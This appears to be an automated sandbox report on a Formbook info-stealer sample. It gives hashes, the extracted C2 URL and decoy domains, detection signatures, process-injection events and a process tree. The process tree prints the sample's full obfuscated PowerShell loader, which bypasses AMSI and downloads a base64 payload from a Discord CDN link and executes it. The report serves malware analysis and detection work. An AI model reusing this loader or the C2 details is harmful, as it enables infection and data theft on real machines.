formbook | 51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541

General

Target

51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe
Size

65KB
MD5

06daa4f472383226392964c70e34c376
SHA1

b47a3554b0bf7250caa0f84090fb387cb332f31b
SHA256

51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541
SHA512

9f220bc3f4c097d582f2958e57255e862f1b67191c6409ea0199a1c9ce3bd57830f7d9cd86c38925b7c61d744a77cbd51d2b59ffee9f66d57e0ee2a4ab654dee

Score

10^/10

formbook rat spyware stealer suricata trojan

Malware Config

Extracted

Family

formbook

Version

4.1

C2

http://www.howmucharemyrarecoinsworth.com/jn7g/

Decoy

mojketering.com

signinsimple.com

theartclouds.com

xmartmanagement.com

akademisantri.com

knitsu.com

funeralhomeswarrensburgil.com

formatohd.xyz

ortetiles.com

myeduhubs.com

twinpiques.com

itpaystobefashionable.com

3drinkminimum.com

wanpoo1.com

crystalclearlifecoachingcc.com

dronerealestate.net

langers.email

konstela.com

enteratecondanielvelasquez.com

graceinhomeschoolchaos.com

Signatures

Formbook
Formbook is a data stealing malware which is capable of stealing data.
trojan spyware stealer formbook
suricata: ET MALWARE FormBook CnC Checkin (GET)
suricata

Formbook Payload 3 IoCs

rat

Processes:

resource	yara_rule
behavioral1/memory/292-72-0x0000000000400000-0x000000000042E000-memory.dmp	formbook
behavioral1/memory/292-73-0x000000000041EBD0-mapping.dmp	formbook
behavioral1/memory/1348-79-0x0000000000080000-0x00000000000AE000-memory.dmp	formbook

Blocklisted process makes network request 2 IoCs

Processes:

Powershell.exe

flow pid process

8 2012 Powershell.exe
10 2012 Powershell.exe

flow	pid	process
8	2012	Powershell.exe
10	2012	Powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

Powershell.execalc.exewlanext.exe

description	pid	process	target process
PID 2012 set thread context of 292	2012	Powershell.exe	calc.exe
PID 292 set thread context of 1268	292	calc.exe	Explorer.EXE
PID 1348 set thread context of 1268	1348	wlanext.exe	Explorer.EXE

Suspicious behavior: EnumeratesProcesses 35 IoCs

Processes:

Powershell.execalc.exewlanext.exe

pid	process
2012	Powershell.exe
2012	Powershell.exe
2012	Powershell.exe
2012	Powershell.exe
2012	Powershell.exe
2012	Powershell.exe
2012	Powershell.exe
292	calc.exe
292	calc.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe
1348	wlanext.exe

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1268 Explorer.EXE
Suspicious behavior: MapViewOfSection 5 IoCs

Processes:

calc.exewlanext.exe

pid process

292 calc.exe
292 calc.exe
292 calc.exe
1348 wlanext.exe
1348 wlanext.exe

pid	process
1268	Explorer.EXE

pid	process
292	calc.exe
292	calc.exe
292	calc.exe
1348	wlanext.exe
1348	wlanext.exe

Suspicious use of AdjustPrivilegeToken 43 IoCs

Processes:

Powershell.execalc.exewlanext.exe

description	pid	process
Token: SeDebugPrivilege	2012	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2012	Powershell.exe
Token: SeSecurityPrivilege	2012	Powershell.exe
Token: SeTakeOwnershipPrivilege	2012	Powershell.exe
Token: SeLoadDriverPrivilege	2012	Powershell.exe
Token: SeSystemProfilePrivilege	2012	Powershell.exe
Token: SeSystemtimePrivilege	2012	Powershell.exe
Token: SeProfSingleProcessPrivilege	2012	Powershell.exe
Token: SeIncBasePriorityPrivilege	2012	Powershell.exe
Token: SeCreatePagefilePrivilege	2012	Powershell.exe
Token: SeBackupPrivilege	2012	Powershell.exe
Token: SeRestorePrivilege	2012	Powershell.exe
Token: SeShutdownPrivilege	2012	Powershell.exe
Token: SeDebugPrivilege	2012	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2012	Powershell.exe
Token: SeRemoteShutdownPrivilege	2012	Powershell.exe
Token: SeUndockPrivilege	2012	Powershell.exe
Token: SeManageVolumePrivilege	2012	Powershell.exe
Token: 33	2012	Powershell.exe
Token: 34	2012	Powershell.exe
Token: 35	2012	Powershell.exe
Token: SeIncreaseQuotaPrivilege	2012	Powershell.exe
Token: SeSecurityPrivilege	2012	Powershell.exe
Token: SeTakeOwnershipPrivilege	2012	Powershell.exe
Token: SeLoadDriverPrivilege	2012	Powershell.exe
Token: SeSystemProfilePrivilege	2012	Powershell.exe
Token: SeSystemtimePrivilege	2012	Powershell.exe
Token: SeProfSingleProcessPrivilege	2012	Powershell.exe
Token: SeIncBasePriorityPrivilege	2012	Powershell.exe
Token: SeCreatePagefilePrivilege	2012	Powershell.exe
Token: SeBackupPrivilege	2012	Powershell.exe
Token: SeRestorePrivilege	2012	Powershell.exe
Token: SeShutdownPrivilege	2012	Powershell.exe
Token: SeDebugPrivilege	2012	Powershell.exe
Token: SeSystemEnvironmentPrivilege	2012	Powershell.exe
Token: SeRemoteShutdownPrivilege	2012	Powershell.exe
Token: SeUndockPrivilege	2012	Powershell.exe
Token: SeManageVolumePrivilege	2012	Powershell.exe
Token: 33	2012	Powershell.exe
Token: 34	2012	Powershell.exe
Token: 35	2012	Powershell.exe
Token: SeDebugPrivilege	292	calc.exe
Token: SeDebugPrivilege	1348	wlanext.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

Explorer.EXE

pid process

1268 Explorer.EXE
1268 Explorer.EXE
1268 Explorer.EXE
1268 Explorer.EXE
Suspicious use of SendNotifyMessage 4 IoCs

Processes:

Explorer.EXE

pid process

1268 Explorer.EXE
1268 Explorer.EXE
1268 Explorer.EXE
1268 Explorer.EXE

pid	process
1268	Explorer.EXE
1268	Explorer.EXE
1268	Explorer.EXE
1268	Explorer.EXE

pid	process
1268	Explorer.EXE
1268	Explorer.EXE
1268	Explorer.EXE
1268	Explorer.EXE

Suspicious use of WriteProcessMemory 18 IoCs

Processes:

51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exePowershell.exeExplorer.EXEwlanext.exe

description	pid	process	target process
PID 1088 wrote to memory of 2012	1088	51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe	Powershell.exe
PID 1088 wrote to memory of 2012	1088	51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe	Powershell.exe
PID 1088 wrote to memory of 2012	1088	51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe	Powershell.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 2012 wrote to memory of 292	2012	Powershell.exe	calc.exe
PID 1268 wrote to memory of 1348	1268	Explorer.EXE	wlanext.exe
PID 1268 wrote to memory of 1348	1268	Explorer.EXE	wlanext.exe
PID 1268 wrote to memory of 1348	1268	Explorer.EXE	wlanext.exe
PID 1268 wrote to memory of 1348	1268	Explorer.EXE	wlanext.exe
PID 1348 wrote to memory of 1812	1348	wlanext.exe	cmd.exe
PID 1348 wrote to memory of 1812	1348	wlanext.exe	cmd.exe
PID 1348 wrote to memory of 1812	1348	wlanext.exe	cmd.exe
PID 1348 wrote to memory of 1812	1348	wlanext.exe	cmd.exe

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:1268

C:\Users\Admin\AppData\Local\Temp\51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe
"C:\Users\Admin\AppData\Local\Temp\51c392870e9f21df2154b4e68a901ca1b5d9fccdcf00a4e6fa60ef07b4dfc541.64.exe.bin.exe"
2⤵
- Suspicious use of WriteProcessMemory
PID:1088

C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
Powershell $8B0111F552=[Ref].Assembly.GetType('Sy'+'stem.'+'Mana'+'gem'+'ent'+'.Autom'+'atio'+'n.A'+'m'+'si'+'Utils');$835FFE1926='4456625220575263174452554847';$9FE0AD5C66=[string](0..13|%{[char][int](53+($835FFE1926).substring(($_*2),2))})-replace ' ';$58FB808063=$8B0111F552.GetField($9FE0AD5C66,'Non^^^'.replace('^^^','Pub')+'lic,S'+'tatic');$58FB808063.SetValue($null,$true);($A72F9B815A=$A72F9B815A=Write-Host 'EC4AAB5808223EB722F9C2063ED056665AA80AC5658F9D06815720759C3EB4C4B7065724C3DEFA63DEB58FC3FA9D22121674');$76545677866555677886556778657=@(91,82,101,102,93,46,65,115,115,101,109,98,108,121,46,71,101,116,84,121,112,101,40,39,83,121,39,43,39,115,116,101,109,46,39,43,39,77,97,110,97,39,43,39,103,101,109,39,43,39,101,110,116,39,43,39,46,65,117,116,111,109,39,43,39,97,116,105,111,39,43,39,110,46,39,43,36,40,91,67,72,65,114,93,40,57,56,45,51,51,41,43,91,99,72,65,114,93,40,49,50,52,45,49,53,41,43,91,99,104,65,82,93,40,49,49,53,41,43,91,67,72,97,82,93,40,91,66,89,116,101,93,48,120,54,57,41,41,43,39,85,116,105,108,115,39,41,46,71,101,116,70,105,101,108,100,40,36,40,91,67,104,65,114,93,40,91,98,121,116,101,93,48,120,54,49,41,43,91,99,104,97,82,93,40,91,98,89,116,69,93,48,120,54,68,41,43,91,99,104,97,114,93,40,91,98,121,84,101,93,48,120,55,51,41,43,91,99,104,65,114,93,40,49,49,48,45,53,41,43,91,99,104,65,82,93,40,91,66,89,84,69,93,48,120,52,57,41,43,91,99,72,97,82,93,40,57,54,56,48,47,56,56,41,43,91,99,72,97,82,93,40,49,48,53,41,43,91,67,104,97,114,93,40,91,98,89,116,101,93,48,120,55,52,41,43,91,67,104,97,114,93,40,91,66,89,84,69,93,48,120,52,54,41,43,91,99,104,97,114,93,40,49,52,56,45,53,49,41,43,91,99,72,65,82,93,40,57,53,53,53,47,57,49,41,43,91,67,104,65,82,93,40,49,48,56,41,43,91,67,104,65,114,93,40,54,50,54,50,47,54,50,41,43,91,67,104,65,82,93,40,91,98,89,84,69,93,48,120,54,52,41,41,44,39,78,111,110,80,117,98,108,105,99,44,83,116,97,116,105,99,39,41,46,83,101,116,86,97,108,117,101,40,36,110,117,108,108,44,36,116,114,117,101,41,59,40,36,68,48,48,70,57,70,49,85,67,54,61,36,68,48,48,70,57,70,49,85,67,54,61,87,114,105,116,101,45,72,111,115,116,32,39,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,53,67,66,48,50,65,53,50,65,48,56,49,56,51,48,54,50,65,54,70,65,65,65,68,48,48,70,57,70,49,85,67,54,48,53,48,69,69,57,53,69,39,41,59,100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,111,111,103,108,101,46,99,111,109,32,45,99,111,117,110,116,32,49,32,45,81,117,105,101,116,125,32,117,110,116,105,108,32,40,36,112,105,110,103,41,59,36,66,48,50,65,53,50,65,48,56,49,32,61,32,91,69,110,117,109,93,58,58,84,111,79,98,106,101,99,116,40,91,83,121,115,116,101,109,46,78,101,116,46,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,84,121,112,101,93,44,32,51,48,55,50,41,59,91,83,121,115,116,101,109,46,78,101,116,46,83,101,114,118,105,99,101,80,111,105,110,116,77,97,110,97,103,101,114,93,58,58,83,101,99,117,114,105,116,121,80,114,111,116,111,99,111,108,32,61,32,36,66,48,50,65,53,50,65,48,56,49,59,36,65,68,48,48,70,57,70,49,85,67,61,32,78,101,119,45,79,98,106,101,99,116,32,45,67,111,109,32,77,105,99,114,111,115,111,102,116,46,88,77,76,72,84,84,80,59,36,65,68,48,48,70,57,70,49,85,67,46,111,112,101,110,40,39,71,69,84,39,44,39,104,116,116,112,115,58,47,47,99,100,110,46,100,105,115,99,111,114,100,97,112,112,46,99,111,109,47,97,116,116,97,99,104,109,101,110,116,115,47,56,53,56,55,57,51,51,50,50,48,56,55,55,49,48,55,53,51,47,56,54,51,56,57,56,49,51,54,56,53,52,48,48,51,55,50,50,47,109,101,46,106,112,103,39,44,36,102,97,108,115,101,41,59,36,65,68,48,48,70,57,70,49,85,67,46,115,101,110,100,40,41,59,36,54,55,52,69,49,54,53,67,56,51,61,91,84,101,120,116,46,69,110,99,111,100,105,110,103,93,58,58,39,85,84,70,56,39,46,39,71,101,116,83,116,114,105,110,103,39,40,91,67,111,110,118,101,114,116,93,58,58,39,70,114,111,109,66,97,115,101,54,52,83,116,114,105,110,103,39,40,36,65,68,48,48,70,57,70,49,85,67,46,114,101,115,112,111,110,115,101,84,101,120,116,41,41,124,73,96,69,96,88);[System.Text.Encoding]::ASCII.GetString($76545677866555677886556778657)|I`E`X
3⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2012

C:\WINDOWS\syswow64\calc.exe
"{path}"
4⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
PID:292

C:\Windows\SysWOW64\autofmt.exe
"C:\Windows\SysWOW64\autofmt.exe"
2⤵
PID:1628

C:\Windows\SysWOW64\wlanext.exe
"C:\Windows\SysWOW64\wlanext.exe"
2⤵
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1348

C:\Windows\SysWOW64\cmd.exe
/c del "C:\WINDOWS\syswow64\calc.exe"
3⤵
PID:1812

Network

MITRE ATT&CK Matrix

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Downloads

memory/292-72-0x0000000000400000-0x000000000042E000-memory.dmp

Filesize
184KB

Download
memory/292-74-0x0000000000AA0000-0x0000000000DA3000-memory.dmp

Filesize
3.0MB

Download
memory/292-75-0x0000000000190000-0x00000000001A4000-memory.dmp

Filesize
80KB

Download
memory/292-73-0x000000000041EBD0-mapping.dmp

Download
memory/1268-83-0x0000000004270000-0x0000000004357000-memory.dmp

Filesize
924KB

Download
memory/1268-76-0x0000000006C20000-0x0000000006D96000-memory.dmp

Filesize
1.5MB

Download
memory/1348-79-0x0000000000080000-0x00000000000AE000-memory.dmp

Filesize
184KB

Download
memory/1348-77-0x0000000000000000-mapping.dmp

Download
memory/1348-82-0x0000000001E50000-0x0000000001EE3000-memory.dmp

Filesize
588KB

Download
memory/1348-80-0x0000000001FE0000-0x00000000022E3000-memory.dmp

Filesize
3.0MB

Download
memory/1348-78-0x00000000004C0000-0x00000000004D6000-memory.dmp

Filesize
88KB

Download
memory/1812-81-0x0000000000000000-mapping.dmp

Download
memory/2012-71-0x000000001B8B0000-0x000000001B90A000-memory.dmp

Filesize
360KB

Download
memory/2012-65-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/2012-64-0x000000001AA70000-0x000000001AA71000-memory.dmp

Filesize
4KB

Download
memory/2012-63-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/2012-62-0x0000000002620000-0x0000000002621000-memory.dmp

Filesize
4KB

Download
memory/2012-66-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/2012-60-0x0000000000000000-mapping.dmp

Download
memory/2012-67-0x00000000026D0000-0x00000000026D1000-memory.dmp

Filesize
4KB

Download
memory/2012-70-0x000000001AB7A000-0x000000001AB99000-memory.dmp

Filesize
124KB

Download
memory/2012-69-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

Filesize
4KB

Download
memory/2012-68-0x000000001AAA0000-0x000000001AAA1000-memory.dmp

Filesize
4KB

Download
memory/2012-61-0x000007FEFB891000-0x000007FEFB893000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix

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Downloads